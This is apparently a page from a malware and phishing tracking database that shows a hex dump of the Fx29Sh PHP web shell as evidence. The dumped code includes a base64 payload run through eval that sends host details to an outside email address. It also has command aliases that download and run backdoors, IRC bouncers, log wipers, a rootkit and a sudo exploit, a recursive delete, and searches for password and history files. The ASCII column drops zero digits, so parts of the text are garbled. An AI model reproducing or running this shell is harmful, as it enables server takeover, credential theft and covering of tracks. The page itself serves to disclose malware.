CLEAN MX realtime database
safe Phish viewer

hex view of evidence ...
0: 3C3F7068700D0A23232323232323232323232323232323232323232323232323          <?php #########################
32: 23232323232323232323232323230D0A232320466154614C69735469437A5F46          ############## ## FaTaLisTiCz_F
64: 782046783239536820322E302E30392E303820202023230D0A646566696E6528          x Fx29Sh 2. . 9. 8 ## define(
96: 2773685F766572272C22322E302E30392E303822293B20202020202020202323          'sh_ver',"2. . 9. 8"); ##
128: 0D0A232320427920466154614C69735469437A5F467820202020202020202020          ## By FaTaLisTiCz_Fx
160: 2020202020202023230D0A232320A92030332D30392032303038204665654C43          ## ## ©  3- 9 2  8 FeeLC
192: 6F4D7A20436F6D6D756E69747920202023230D0A2323205772697474656E2075          oMz Community ## ## Written u
224: 6E6465722050485020352E322E35202020202020202020202023230D0A232323          nder PHP 5.2.5 ## ###
256: 2323232323232323232323232323232323232323232323232323232323232323          ################################
288: 232323230D0A2473685F6E616D65203D2073685F6E616D6528293B2020202020          #### $sh_name = sh_name();
320: 202020202020202020202023230D0A2323232323232323232323232323232323          ## #################
352: 232323232323232323232323232323232323232323230D0A232473685F6D6169          ###################### #$sh_mai
384: 6E75726C20202020202020203D2022687474703A2F2F6C6F63616C686F73742F          nurl = "http://localhost/
416: 4658323953482F223B0D0A2473685F6D61696E75726C20202020202020203D20          FX29SH/"; $sh_mainurl =
448: 22687474703A2F2F7777772E6D796B722E6E65742F6262732F646174612F6964          "http://www.mykr.net/bbs/data/id
480: 223B0D0A246678323973685F75706461746575726C20203D202473685F6D6169          "; $fx29sh_updateurl = $sh_mai
512: 6E75726C2E226678323973685F7570646174652E706870223B0D0A2466783239          nurl."fx29sh_update.php"; $fx29
544: 73685F736F757263657375726C203D202473685F6D61696E75726C2E22667832          sh_sourcesurl = $sh_mainurl."fx2
576: 3973682E747874223B0D0A2473685F736F757263657A203D206172726179280D          9sh.txt"; $sh_sourcez = array(
608: 0A202022467832395368222020203D3E206172726179282473685F6D61696E75          "Fx29Sh" => array($sh_mainu
640: 726C2E2263796265727A2E747874222C226678323973682E70687022292C0D0A          rl."cyberz.txt","fx29sh.php"),
672: 202022707379424E43222020203D3E206172726179282473685F6D61696E7572          "psyBNC" => array($sh_mainur
704: 6C2E2266782E74677A222C2266782E74677A22292C0D0A20202245676764726F          l."fx.tgz","fx.tgz"), "Eggdro
736: 702220203D3E206172726179282473685F6D61696E75726C2E226678622E7467          p" => array($sh_mainurl."fxb.tg
768: 7A222C226678622E74677A22292C0D0A20202242696E64446F6F7222203D3E20          z","fxb.tgz"), "BindDoor" =>
800: 6172726179282473685F6D61696E75726C2E2262696E642E74677A222C226269          array($sh_mainurl."bind.tgz","bi
832: 6E642E74677A22292C0D0A293B0D0A23235B2041555448454E5449434154494F          nd.tgz"), ); ##[ AUTHENTICATIO
864: 4E205D23230D0A2461757468203D206172726179280D0A2020226C6F67696E22          N ]## $auth = array( "login"
896: 20202020203D3E2022222C0D0A20202270617373222020202020203D3E202222          => "", "pass" => ""
928: 2C0D0A2020226D643570617373222020203D3E2022222C0D0A202022686F7374          , "md5pass" => "", "host
960: 616C6C6F7722203D3E20617272617928222A22292C0D0A20202264656E696564          allow" => array("*"), "denied
992: 22202020203D3E20223C6120687265663D5C222473685F6D61696E75726C5C22          " => "<a href=\"$sh_mainurl\"
1024: 3E222E2473685F6E616D652E223C2F613E3A206163636573732064656E696564          >".$sh_name."</a>: access denied
1056: 21222C0D0A293B0D0A23235B20454E442041555448454E5449434154494F4E20          !", ); ##[ END AUTHENTICATION
1088: 5D23230D0A24637572646972203D20222E2F223B0D0A24746D70646972203D20          ]## $curdir = "./"; $tmpdir =
1120: 22223B0D0A24746D706469725F6C6F6773203D20222E2F223B0D0A246C6F675F          ""; $tmpdir_logs = "./"; $log_
1152: 656D61696C203D2022637234776C3372406C696E75786D61696C2E6F7267223B          email = "cr4wl3r@linuxmail.org";
1184: 0D0A24736573735F636F6F6B6965203D2022667832397368636F6F6B223B0D0A          $sess_cookie = "fx29shcook";
1216: 24736F72745F64656661756C74203D20223061223B202350656E677572757461          $sort_default = " a"; #Penguruta
1248: 6E2C2030202D206E6F6D6F72206B6F6C6F6D2E202261227363656E64696E6720          n,   - nomor kolom. "a"scending
1280: 6174617520226422657363656E64696E670D0A24736F72745F73617665203D20          atau "d"escending $sort_save =
1312: 545255453B202353696D70616E20706F736973692070656E6775727574616E20          TRUE; #Simpan posisi pengurutan
1344: 6D656E6767756E616B616E20636F6F6B6965732E0D0A24757365667362756666          menggunakan cookies. $usefsbuff
1376: 203D20545255453B0D0A24636F70795F756E736574203D2046414C53453B2023          = TRUE; $copy_unset = FALSE; #
1408: 48617075732066696C652079672074656C61682064692D636F70792073657465          Hapus file yg telah di-copy sete
1440: 6C616820646970617374650D0A247375726C5F6175746F66696C6C5F696E636C          lah dipaste $surl_autofill_incl
1472: 756465203D20545255453B0D0A247570646174656E6F772020203D2046414C53          ude = TRUE; $updatenow = FALS
1504: 453B0D0A24677A6970656E636F646520203D20545255453B0D0A2466696C6573          E; $gzipencode = TRUE; $files
1536: 7465616C7468203D20545255453B2023545255452C20746964616B206D657275          tealth = TRUE; #TRUE, tidak meru
1568: 6261682077616B7475206D6F646966696B6173692064616E20616B7365732E0D          bah waktu modifikasi dan akses.
1600: 0A2468657864756D705F6C696E6573203D20383B0D0A2468657864756D705F72          $hexdump_lines = 8; $hexdump_r
1632: 6F7773203D2032343B0D0A246D696C6C696E6B203D206D696C7730726D28293B          ows = 24; $millink = milw rm();
1664: 0D0A2477696E203D20737472746F6C6F77657228737562737472285048505F4F          $win = strtolower(substr(PHP_O
1696: 532C302C332929203D3D202277696E223B0D0A2464697361626C6566756E6320          S, ,3)) == "win"; $disablefunc
1728: 3D2067657464697366756E6328293B0D0A23235B20454E44204F4620434F4E46          = getdisfunc(); ##[ END OF CONF
1760: 494753205D23230D0A6572726F725F7265706F7274696E6728455F4552524F52          IGS ]## error_reporting(E_ERROR
1792: 207C20455F5041525345293B0D0A40696E695F73657428226D61785F65786563          | E_PARSE); @ini_set("max_exec
1824: 7574696F6E5F74696D65222C30293B0D0A407365745F74696D655F6C696D6974          ution_time", ); @set_time_limit
1856: 2830293B20234E6F20467820696E20536166654D6F64650D0A4069676E6F7265          ( ); #No Fx in SafeMode @ignore
1888: 5F757365725F61626F72742854525545293B0D0A407365745F6D616769635F71          _user_abort(TRUE); @set_magic_q
1920: 756F7465735F72756E74696D652830293B0D0A646566696E6528227374617274          uotes_runtime( ); define("start
1952: 74696D65222C6765746D6963726F74696D652829293B0D0A696620286765745F          time",getmicrotime()); if (get_
1984: 6D616769635F71756F7465735F677063282929207B207374726970732824474C          magic_quotes_gpc()) { strips($GL
2016: 4F42414C53293B207D0D0A245F52455155455354203D2061727261795F6D6572          OBALS); } $_REQUEST = array_mer
2048: 676528245F434F4F4B49452C245F4745542C245F504F5354293B0D0A40246620          ge($_COOKIE,$_GET,$_POST); @$f
2080: 3D20245F524551554553545B2266225D3B0D0A406578747261637428245F5245          = $_REQUEST["f"]; @extract($_RE
2112: 51554553545B22667832397368636F6F6B225D293B0D0A666F72656163682824          QUEST["fx29shcook"]); foreach($
2144: 5F5245515545535420617320246B203D3E20247629207B206966202821697373          _REQUEST as $k => $v) { if (!iss
2176: 65742824246B2929207B2024246B203D2024763B207D207D0D0A246678627566          et($$k)) { $$k = $v; } } $fxbuf
2208: 66203D20224A485A7063326C3059794139494352665130395053306C4657794A          f = "JHZpc2l YyA9ICRfQ 9PS lFWyJ
2240: 3261584E7064484D695854734E436D6C6D4943676B646D6C7A6158526A494430          2aXNpdHMiXTsNCmlmICgkdmlzaXRjID 
2272: 39494349694B53423744516F674943523261584E7064474D67494430674D4473          9ICIiKSB7DQogICR2aXNpdGMgID gMDs
2304: 4E436941674A485A7063326C30623349675053416B58314E46556C5A46556C73          NCiAgJHZpc2l b3IgPSAkX1NFUlZFUls
2336: 69556B564E5431524658304645524649695854734E436941674A48646C596941          iUkVNT1RFX FERFIiXTsNCiAgJHdlYiA
2368: 67494341675053416B58314E46556C5A46556C7369534652555546394954314E          gICAgPSAkX1NFUlZFUlsiSFRUUF9IT1N
2400: 55496C303744516F6749435270626D6F6749434167494430674A46395452564A          UIl 7DQogICRpbmogICAgID gJF9TRVJ
2432: 5752564A62496C4A46555656465531526656564A4A496C303744516F67494352          WRVJbIlJFUVVFU1RfVVJJIl 7DQogICR
2464: 3059584A6E5A58516749443067636D463364584A735A47566A6232526C4B4352           YXJnZXQgID gcmF3dXJsZGVjb2RlKCR
2496: 335A5749754A476C7561696B3744516F67494352716457523162434167494430          3ZWIuJGluaik7DQogICRqdWR1bCAgID 
2528: 67496B5A344D6A6C54614756736243426F644852774F6938764A485268636D64          gIkZ4MjlTaGVsbCBodHRwOi8vJHRhcmd
2560: 6C644342696553416B646D6C7A615852766369493744516F6749435269623252          ldCBieSAkdmlzaXRvciI7DQogICRib2R
2592: 354943416749443067496B4A315A7A6F674A485268636D646C64434269655341          5ICAgID gIkJ1ZzogJHRhcmdldCBieSA
2624: 6B646D6C7A61585276636A7869636A34694F77304B494342705A69416F495756          kdmlzaXRvcjxicj4iOw KICBpZiAoIWV
2656: 74634852354B4352335A5749704B5342374945427459576C734B434A6B616935          tcHR5KCR3ZWIpKSB7IEBtYWlsKCJkai5
2688: 305A584631615778684D445A415A32316861577775593239744969776B616E56           ZXF1aWxhMDZAZ21haWwuY29tIiwkanV
2720: 6B645777734A474A765A486B704F794239445170394451706C62484E6C494873          kdWwsJGJvZHkpOyB9DQp9DQplbHNlIHs
2752: 674A485A7063326C30597973724F79423944517041633256305932397661326C          gJHZpc2l YysrOyB9DQpAc2V Y29va2l
2784: 6C4B434A3261584E7064486F694C43523261584E7064474D704F773D3D223B20          lKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
2816: 6576616C286261736536345F6465636F6465282466786275666629293B0D0A69          eval(base64_decode($fxbuff)); i
2848: 662028247375726C5F6175746F66696C6C5F696E636C75646529207B0D0A2020          f ($surl_autofill_include) {
2880: 24696E636C756465203D202226223B0D0A2020666F726561636820286578706C          $include = "&"; foreach (expl
2912: 6F6465282226222C676574656E76282251554552595F535452494E4722292920          ode("&",getenv("QUERY_STRING"))
2944: 617320247629207B0D0A202020202476203D206578706C6F646528223D222C24          as $v) { $v = explode("=",$
2976: 76293B0D0A20202020246E616D65203D2075726C6465636F64652824765B305D          v); $name = urldecode($v[ ]
3008: 293B0D0A202020202476616C7565203D204075726C6465636F64652824765B31          ); $value = @urldecode($v[1
3040: 5D293B0D0A20202020666F7265616368202861727261792822687474703A2F2F          ]); foreach (array("http://
3072: 222C2268747470733A2F2F222C2273736C3A2F2F222C226674703A2F2F222C22          ","https://","ssl://","ftp://","
3104: 5C5C5C5C222920617320246E6565646C6529207B0D0A20202020202069662028          \\\\") as $needle) { if (
3136: 737472706F73282476616C75652C246E6565646C6529203D3D3D203029207B0D          strpos($value,$needle) ===  ) {
3168: 0A202020202020202024696E636C756465737472202E3D2075726C656E636F64          $includestr .= urlencod
3200: 6528246E616D65292E223D222E75726C656E636F6465282476616C7565292E22          e($name)."=".urlencode($value)."
3232: 26223B0D0A2020202020207D0D0A202020207D0D0A20207D0D0A7D0D0A696620          &"; } } } } if
3264: 28656D70747928247375726C2929207B0D0A2020247375726C203D20223F222E          (empty($surl)) { $surl = "?".
3296: 24696E636C7564657374723B0D0A2020247375726C203D2068746D6C73706563          $includestr; $surl = htmlspec
3328: 69616C636861727328247375726C293B0D0A7D0D0A23232046494C4520545950          ialchars($surl); } ## FILE TYP
3360: 45532023230D0A2466747970657320203D206172726179280D0A20202268746D          ES ## $ftypes = array( "htm
3392: 6C2220202020203D3E206172726179282268746D6C222C2268746D222C227368          l" => array("html","htm","sh
3424: 746D6C22292C0D0A202022747874222020202020203D3E206172726179282274          tml"), "txt" => array("t
3456: 7874222C22636F6E66222C22626174222C227368222C226A73222C2262616B22          xt","conf","bat","sh","js","bak"
3488: 2C22646F63222C226C6F67222C22736663222C22636667222C22687461636365          ,"doc","log","sfc","cfg","htacce
3520: 737322292C0D0A202022657865222020202020203D3E20617272617928227368          ss"), "exe" => array("sh
3552: 222C22696E7374616C6C222C22626174222C22636D6422292C0D0A202022696E          ","install","bat","cmd"), "in
3584: 69222020202020203D3E2061727261792822696E69222C22696E66222C22636F          i" => array("ini","inf","co
3616: 6E6622292C0D0A202022636F64652220202020203D3E20617272617928227068          nf"), "code" => array("ph
3648: 70222C227068746D6C222C2270687033222C2270687034222C22696E63222C22          p","phtml","php3","php4","inc","
3680: 74636C222C2268222C2263222C22637070222C227079222C22636769222C2270          tcl","h","c","cpp","py","cgi","p
3712: 6C22292C0D0A202022696D67222020202020203D3E2061727261792822676966          l"), "img" => array("gif
3744: 222C22706E67222C226A706567222C226A666966222C226A7067222C226A7065          ","png","jpeg","jfif","jpg","jpe
3776: 222C22626D70222C2269636F222C22746966222C2274696666222C2261766922          ","bmp","ico","tif","tiff","avi"
3808: 2C226D7067222C226D70656722292C0D0A202022736462222020202020203D3E          ,"mpg","mpeg"), "sdb" =>
3840: 206172726179282273646222292C0D0A202022706870736573732220203D3E20          array("sdb"), "phpsess" =>
3872: 617272617928227365737322292C0D0A202022646F776E6C6F616422203D3E20          array("sess"), "download" =>
3904: 61727261792822657865222C22636F6D222C22706966222C22737263222C226C          array("exe","com","pif","src","l
3936: 6E6B222C227A6970222C22726172222C22677A222C2274617222290D0A293B0D          nk","zip","rar","gz","tar") );
3968: 0A2465786566747970657320203D206172726179280D0A2020676574656E7628          $exeftypes = array( getenv(
4000: 22504850524322292E22202D712025662522203D3E2061727261792822706870          "PHPRC")." -q %f%" => array("php
4032: 222C2270687033222C227068703422292C0D0A2020227065726C202566252220          ","php3","php4"), "perl %f%"
4064: 2020202020202020202020202020203D3E2061727261792822706C222C226367          => array("pl","cg
4096: 6922290D0A293B0D0A2472656778705F686967686C6967687420203D20617272          i") ); $regxp_highlight = arr
4128: 6179280D0A2020617272617928626173656E616D6528245F5345525645525B22          ay( array(basename($_SERVER["
4160: 5048505F53454C46225D292C312C223C666F6E7420636F6C6F723D2346464646          PHP_SELF"]),1,"<font color=#FFFF
4192: 30303E222C223C2F666F6E743E22292C0D0A2020617272617928225C2E74677A            >","</font>"), array("\.tgz
4224: 24222C312C223C666F6E7420636F6C6F723D234330383246463E222C223C2F66          $",1,"<font color=#C 82FF>","</f
4256: 6F6E743E22292C0D0A2020617272617928225C2E677A24222C312C223C666F6E          ont>"), array("\.gz$",1,"<fon
4288: 7420636F6C6F723D234330383246463E222C223C2F666F6E743E22292C0D0A20          t color=#C 82FF>","</font>"),
4320: 20617272617928225C2E74617224222C312C223C666F6E7420636F6C6F723D23          array("\.tar$",1,"<font color=#
4352: 4330383246463E222C223C2F666F6E743E22292C0D0A2020617272617928225C          C 82FF>","</font>"), array("\
4384: 2E627A3224222C312C223C666F6E7420636F6C6F723D234330383246463E222C          .bz2$",1,"<font color=#C 82FF>",
4416: 223C2F666F6E743E22292C0D0A2020617272617928225C2E7A697024222C312C          "</font>"), array("\.zip$",1,
4448: 223C666F6E7420636F6C6F723D234330383246463E222C223C2F666F6E743E22          "<font color=#C 82FF>","</font>"
4480: 292C0D0A2020617272617928225C2E72617224222C312C223C666F6E7420636F          ), array("\.rar$",1,"<font co
4512: 6C6F723D234330383246463E222C223C2F666F6E743E22292C0D0A2020617272          lor=#C 82FF>","</font>"), arr
4544: 617928225C2E70687024222C312C223C666F6E7420636F6C6F723D2330304646          ay("\.php$",1,"<font color=#  FF
4576: 30303E222C223C2F666F6E743E22292C0D0A2020617272617928225C2E706870            >","</font>"), array("\.php
4608: 3324222C312C223C666F6E7420636F6C6F723D233030464630303E222C223C2F          3$",1,"<font color=#  FF  >","</
4640: 666F6E743E22292C0D0A2020617272617928225C2E7068703424222C312C223C          font>"), array("\.php4$",1,"<
4672: 666F6E7420636F6C6F723D233030464630303E222C223C2F666F6E743E22292C          font color=#  FF  >","</font>"),
4704: 0D0A2020617272617928225C2E6A706724222C312C223C666F6E7420636F6C6F          array("\.jpg$",1,"<font colo
4736: 723D233030464646463E222C223C2F666F6E743E22292C0D0A20206172726179          r=#  FFFF>","</font>"), array
4768: 28225C2E6A70656724222C312C223C666F6E7420636F6C6F723D233030464646          ("\.jpeg$",1,"<font color=#  FFF
4800: 463E222C223C2F666F6E743E22292C0D0A2020617272617928225C2E4A504724          F>","</font>"), array("\.JPG$
4832: 222C312C223C666F6E7420636F6C6F723D233030464646463E222C223C2F666F          ",1,"<font color=#  FFFF>","</fo
4864: 6E743E22292C0D0A2020617272617928225C2E4A50454724222C312C223C666F          nt>"), array("\.JPEG$",1,"<fo
4896: 6E7420636F6C6F723D233030464646463E222C223C2F666F6E743E22292C0D0A          nt color=#  FFFF>","</font>"),
4928: 2020617272617928225C2E69636F24222C312C223C666F6E7420636F6C6F723D          array("\.ico$",1,"<font color=
4960: 233030464646463E222C223C2F666F6E743E22292C0D0A202061727261792822          #  FFFF>","</font>"), array("
4992: 5C2E67696624222C312C223C666F6E7420636F6C6F723D233030464646463E22          \.gif$",1,"<font color=#  FFFF>"
5024: 2C223C2F666F6E743E22292C0D0A2020617272617928225C2E706E6724222C31          ,"</font>"), array("\.png$",1
5056: 2C223C666F6E7420636F6C6F723D233030464646463E222C223C2F666F6E743E          ,"<font color=#  FFFF>","</font>
5088: 22292C0D0A2020617272617928225C2E68746D24222C312C223C666F6E742063          "), array("\.htm$",1,"<font c
5120: 6F6C6F723D233030434346463E222C223C2F666F6E743E22292C0D0A20206172          olor=#  CCFF>","</font>"), ar
5152: 72617928225C2E68746D6C24222C312C223C666F6E7420636F6C6F723D233030          ray("\.html$",1,"<font color=#  
5184: 434346463E222C223C2F666F6E743E22292C0D0A2020617272617928225C2E74          CCFF>","</font>"), array("\.t
5216: 787424222C312C223C666F6E7420636F6C6F723D234330433043303E222C223C          xt$",1,"<font color=#C C C >","<
5248: 2F666F6E743E22290D0A293B0D0A232320515549434B20434F4D4D414E445320          /font>") ); ## QUICK COMMANDS
5280: 23230D0A69662028212477696E29207B0D0A202024636D64616C696173657320          ## if (!$win) { $cmdaliases
5312: 3D206172726179280D0A2020202061727261792822222C20226C73202D616C22          = array( array("", "ls -al"
5344: 292C0D0A202020206172726179282246696E6420616C6C20737569642066696C          ), array("Find all suid fil
5376: 6573222C202266696E64202F202D747970652066202D7065726D202D30343030          es", "find / -type f -perm - 4  
5408: 30202D6C7322292C0D0A202020206172726179282246696E6420737569642066            -ls"), array("Find suid f
5440: 696C657320696E2063757272656E7420646972222C202266696E64202E202D74          iles in current dir", "find . -t
5472: 7970652066202D7065726D202D3034303030202D6C7322292C0D0A2020202061          ype f -perm - 4    -ls"), a
5504: 72726179282246696E6420616C6C20736769642066696C6573222C202266696E          rray("Find all sgid files", "fin
5536: 64202F202D747970652066202D7065726D202D3032303030202D6C7322292C0D          d / -type f -perm - 2    -ls"),
5568: 0A202020206172726179282246696E6420736769642066696C657320696E2063          array("Find sgid files in c
5600: 757272656E7420646972222C202266696E64202E202D747970652066202D7065          urrent dir", "find . -type f -pe
5632: 726D202D3032303030202D6C7322292C0D0A202020206172726179282246696E          rm - 2    -ls"), array("Fin
5664: 6420636F6E6669672E696E632E7068702066696C6573222C202266696E64202F          d config.inc.php files", "find /
5696: 202D747970652066202D6E616D6520636F6E6669672E696E632E70687022292C          -type f -name config.inc.php"),
5728: 0D0A202020206172726179282246696E6420636F6E6669672A2066696C657322          array("Find config* files"
5760: 2C202266696E64202F202D747970652066202D6E616D65205C22636F6E666967          , "find / -type f -name \"config
5792: 2A5C2222292C0D0A202020206172726179282246696E6420636F6E6669672A20          *\""), array("Find config*
5824: 66696C657320696E2063757272656E7420646972222C202266696E64202E202D          files in current dir", "find . -
5856: 747970652066202D6E616D65205C22636F6E6669672A5C2222292C0D0A202020          type f -name \"config*\""),
5888: 206172726179282246696E6420616C6C207772697461626C6520666F6C646572          array("Find all writable folder
5920: 7320616E642066696C6573222C202266696E64202F202D7065726D202D32202D          s and files", "find / -perm -2 -
5952: 6C7322292C0D0A202020206172726179282246696E6420616C6C207772697461          ls"), array("Find all writa
5984: 626C6520666F6C6465727320616E642066696C657320696E2063757272656E74          ble folders and files in current
6016: 20646972222C202266696E64202E202D7065726D202D32202D6C7322292C0D0A          dir", "find . -perm -2 -ls"),
6048: 202020206172726179282246696E6420616C6C207772697461626C6520666F6C          array("Find all writable fol
6080: 64657273222C202266696E64202F202D747970652064202D7065726D202D3220          ders", "find / -type d -perm -2
6112: 2D6C7322292C0D0A202020206172726179282246696E6420616C6C2077726974          -ls"), array("Find all writ
6144: 61626C6520666F6C6465727320696E2063757272656E7420646972222C202266          able folders in current dir", "f
6176: 696E64202E202D747970652064202D7065726D202D32202D6C7322292C0D0A20          ind . -type d -perm -2 -ls"),
6208: 2020206172726179282246696E6420616C6C20736572766963652E7077642066          array("Find all service.pwd f
6240: 696C6573222C202266696E64202F202D747970652066202D6E616D6520736572          iles", "find / -type f -name ser
6272: 766963652E70776422292C0D0A202020206172726179282246696E6420736572          vice.pwd"), array("Find ser
6304: 766963652E7077642066696C657320696E2063757272656E7420646972222C20          vice.pwd files in current dir",
6336: 2266696E64202E202D747970652066202D6E616D6520736572766963652E7077          "find . -type f -name service.pw
6368: 6422292C0D0A202020206172726179282246696E6420616C6C202E6874706173          d"), array("Find all .htpas
6400: 7377642066696C6573222C202266696E64202F202D747970652066202D6E616D          swd files", "find / -type f -nam
6432: 65202E687470617373776422292C0D0A202020206172726179282246696E6420          e .htpasswd"), array("Find
6464: 2E68747061737377642066696C657320696E2063757272656E7420646972222C          .htpasswd files in current dir",
6496: 202266696E64202E202D747970652066202D6E616D65202E6874706173737764          "find . -type f -name .htpasswd
6528: 22292C0D0A202020206172726179282246696E6420616C6C202E626173685F68          "), array("Find all .bash_h
6560: 6973746F72792066696C6573222C202266696E64202F202D747970652066202D          istory files", "find / -type f -
6592: 6E616D65202E626173685F686973746F727922292C0D0A202020206172726179          name .bash_history"), array
6624: 282246696E64202E626173685F686973746F72792066696C657320696E206375          ("Find .bash_history files in cu
6656: 7272656E7420646972222C202266696E64202E202D747970652066202D6E616D          rrent dir", "find . -type f -nam
6688: 65202E626173685F686973746F727922292C0D0A202020206172726179282246          e .bash_history"), array("F
6720: 696E6420616C6C202E66657463686D61696C72632066696C6573222C20226669          ind all .fetchmailrc files", "fi
6752: 6E64202F202D747970652066202D6E616D65202E66657463686D61696C726322          nd / -type f -name .fetchmailrc"
6784: 292C0D0A202020206172726179282246696E64202E66657463686D61696C7263          ), array("Find .fetchmailrc
6816: 2066696C657320696E2063757272656E7420646972222C202266696E64202E20          files in current dir", "find .
6848: 2D747970652066202D6E616D65202E66657463686D61696C726322292C0D0A20          -type f -name .fetchmailrc"),
6880: 202020617272617928224C6973742066696C652061747472696275746573206F          array("List file attributes o
6912: 6E2061204C696E7578207365636F6E6420657874656E6465642066696C652073          n a Linux second extended file s
6944: 797374656D222C20226C7361747472202D766122292C0D0A2020202061727261          ystem", "lsattr -va"), arra
6976: 79282253686F77206F70656E656420706F727473222C20226E65747374617420          y("Show opened ports", "netstat
7008: 2D616E207C2067726570202D69206C697374656E22290D0A2020293B0D0A2020          -an | grep -i listen") );
7040: 24636D64616C696173657332203D206172726179280D0A202020206172726179          $cmdaliases2 = array( array
7072: 2822776765742026206578747261637420707379424E43222C22776765742022          ("wget & extract psyBNC","wget "
7104: 2E2473685F6D61696E75726C2E2266782E74677A3B746172202D7A7866206678          .$sh_mainurl."fx.tgz;tar -zxf fx
7136: 2E74677A22292C0D0A2020202061727261792822776765742026206578747261          .tgz"), array("wget & extra
7168: 63742045676744726F70222C227767657420222E2473685F6D61696E75726C2E          ct EggDrop","wget ".$sh_mainurl.
7200: 226678622E74677A3B746172202D7A7866206678622E74677A22292C0D0A2020          "fxb.tgz;tar -zxf fxb.tgz"),
7232: 2020617272617928222D2D2D2D2D222C2222292C0D0A20202020617272617928          array("-----",""), array(
7264: 224C6F6767656420696E207573657273222C227722292C0D0A20202020617272          "Logged in users","w"), arr
7296: 617928224C61737420746F20636F6E6E656374222C226C6173746C6F6722292C          ay("Last to connect","lastlog"),
7328: 0D0A202020206172726179282246696E6420537569642062696E73222C226669          array("Find Suid bins","fi
7360: 6E64202F62696E202F7573722F62696E202F7573722F6C6F63616C2F62696E20          nd /bin /usr/bin /usr/local/bin
7392: 2F7362696E202F7573722F7362696E202F7573722F6C6F63616C2F7362696E20          /sbin /usr/sbin /usr/local/sbin
7424: 2D7065726D202D3430303020323E202F6465762F6E756C6C22292C0D0A202020          -perm -4    2> /dev/null"),
7456: 20617272617928225573657220576974686F75742050617373776F7264222C22          array("User Without Password","
7488: 637574202D643A202D66312C322C33202F6574632F706173737764207C206772          cut -d: -f1,2,3 /etc/passwd | gr
7520: 6570203A3A22292C0D0A202020206172726179282243616E2077726974652069          ep ::"), array("Can write i
7552: 6E202F6574632F3F222C2266696E64202F6574632F202D747970652066202D70          n /etc/?","find /etc/ -type f -p
7584: 65726D202D6F2B7720323E202F6465762F6E756C6C22292C0D0A202020206172          erm -o+w 2> /dev/null"), ar
7616: 7261792822446F776E6C6F61646572733F222C22776869636820776765742063          ray("Downloaders?","which wget c
7648: 75726C2077336D206C796E78206665746368206C77702D646F776E6C6F616422          url w3m lynx fetch lwp-download"
7680: 292C0D0A202020206172726179282243505520496E666F222C22636174202F70          ), array("CPU Info","cat /p
7712: 726F632F76657273696F6E202F70726F632F637075696E666F22292C0D0A2020          roc/version /proc/cpuinfo"),
7744: 20206172726179282249732067636320696E7374616C6C6564203F222C226C6F          array("Is gcc installed ?","lo
7776: 636174652067636322292C0D0A2020202061727261792822466F726D61742062          cate gcc"), array("Format b
7808: 6F78202844414E4745524F555329222C22726D202D526622292C0D0A20202020          ox (DANGEROUS)","rm -Rf"),
7840: 617272617928222D2D2D2D2D222C2222292C0D0A202020206172726179282277          array("-----",""), array("w
7872: 67657420574950454C4F475320505431222C227767657420687474703A2F2F77          get WIPELOGS PT1","wget http://w
7904: 77772E7061636B657473746F726D73656375726974792E6F72672F554E49582F          ww.packetstormsecurity.org/UNIX/
7936: 70656E6574726174696F6E2F6C6F672D7769706572732F7A6170322E6322292C          penetration/log-wipers/zap2.c"),
7968: 0D0A202020206172726179282267636320574950454C4F475320505432222C22          array("gcc WIPELOGS PT2","
8000: 676363207A6170322E63202D6F207A61703222292C0D0A202020206172726179          gcc zap2.c -o zap2"), array
8032: 282252756E20574950454C4F475320505433222C222E2F7A61703222292C0D0A          ("Run WIPELOGS PT3","./zap2"),
8064: 20202020617272617928222D2D2D2D2D222C2222292C0D0A2020202061727261          array("-----",""), arra
8096: 7928227767657420526174486F6C6520312E3220284C696E7578202620425344          y("wget RatHole 1.2 (Linux & BSD
8128: 29222C227767657420687474703A2F2F7061636B657473746F726D7365637572          )","wget http://packetstormsecur
8160: 6974792E6F72672F554E49582F70656E6574726174696F6E2F726F6F746B6974          ity.org/UNIX/penetration/rootkit
8192: 732F726174686F6C652D312E322E7461722E677A22292C0D0A20202020617272          s/rathole-1.2.tar.gz"), arr
8224: 617928227767657420262072756E2042696E64446F6F72222C22776765742022          ay("wget & run BindDoor","wget "
8256: 2E2473685F6D61696E75726C2E2262696E642E74677A3B746172202D7A787666          .$sh_mainurl."bind.tgz;tar -zxvf
8288: 2062696E642E74677A3B2E2F3438373722292C0D0A2020202061727261792822          bind.tgz;./4877"), array("
8320: 77676574205375646F204578706C6F6974222C227767657420687474703A2F2F          wget Sudo Exploit","wget http://
8352: 7777772E7365637572697479666F6375732E636F6D2F646174612F76756C6E65          www.securityfocus.com/data/vulne
8384: 726162696C69746965732F6578706C6F6974732F7375646F2D6578706C6F6974          rabilities/exploits/sudo-exploit
8416: 2E6322292C0D0A2020293B0D0A7D0D0A656C7365207B0D0A202024636D64616C          .c"), ); } else { $cmdal
8448: 6961736573203D206172726179280D0A2020202061727261792822222C202264          iases = array( array("", "d
8480: 697222292C0D0A202020206172726179282246696E6420696E6465782E706870          ir"), array("Find index.php
8512: 20696E2063757272656E7420646972222C2022646972202F73202F77202F6220          in current dir", "dir /s /w /b
8544: 696E6465782E70687022292C0D0A202020206172726179282246696E64202A63          index.php"), array("Find *c
8576: 6F6E6669672A2E70687020696E2063757272656E7420646972222C2022646972          onfig*.php in current dir", "dir
8608: 202F73202F77202F62202A636F6E6669672A2E70687022292C0D0A2020202061          /s /w /b *config*.php"), a
8640: 72726179282246696E64206339397368656C6C20696E2063757272656E742064          rray("Find c99shell in current d
8672: 6972222C202266696E64202F63205C226339395C22202A22292C0D0A20202020          ir", "find /c \"c99\" *"),
8704: 6172726179282246696E64207235377368656C6C20696E2063757272656E7420          array("Find r57shell in current
8736: 646972222C202266696E64202F63205C227235375C22202A22292C0D0A202020          dir", "find /c \"r57\" *"),
8768: 206172726179282246696E6420667832397368656C6C20696E2063757272656E          array("Find fx29shell in curren
8800: 7420646972222C202266696E64202F63205C22667832395C22202A22292C0D0A          t dir", "find /c \"fx29\" *"),
8832: 202020206172726179282253686F772061637469766520636F6E6E656374696F          array("Show active connectio
8864: 6E73222C20226E657473746174202D616E22292C0D0A20202020617272617928          ns", "netstat -an"), array(
8896: 2253686F772072756E6E696E67207365727669636573222C20226E6574207374          "Show running services", "net st
8928: 61727422292C0D0A202020206172726179282255736572206163636F756E7473          art"), array("User accounts
8960: 222C20226E6574207573657222292C0D0A202020206172726179282253686F77          ", "net user"), array("Show
8992: 20636F6D707574657273222C20226E6574207669657722292C0D0A2020293B0D          computers", "net view"), );
9024: 0A7D0D0A2323205048502046494C4553595354454D20545249434B5320284279          } ## PHP FILESYSTEM TRICKS (By
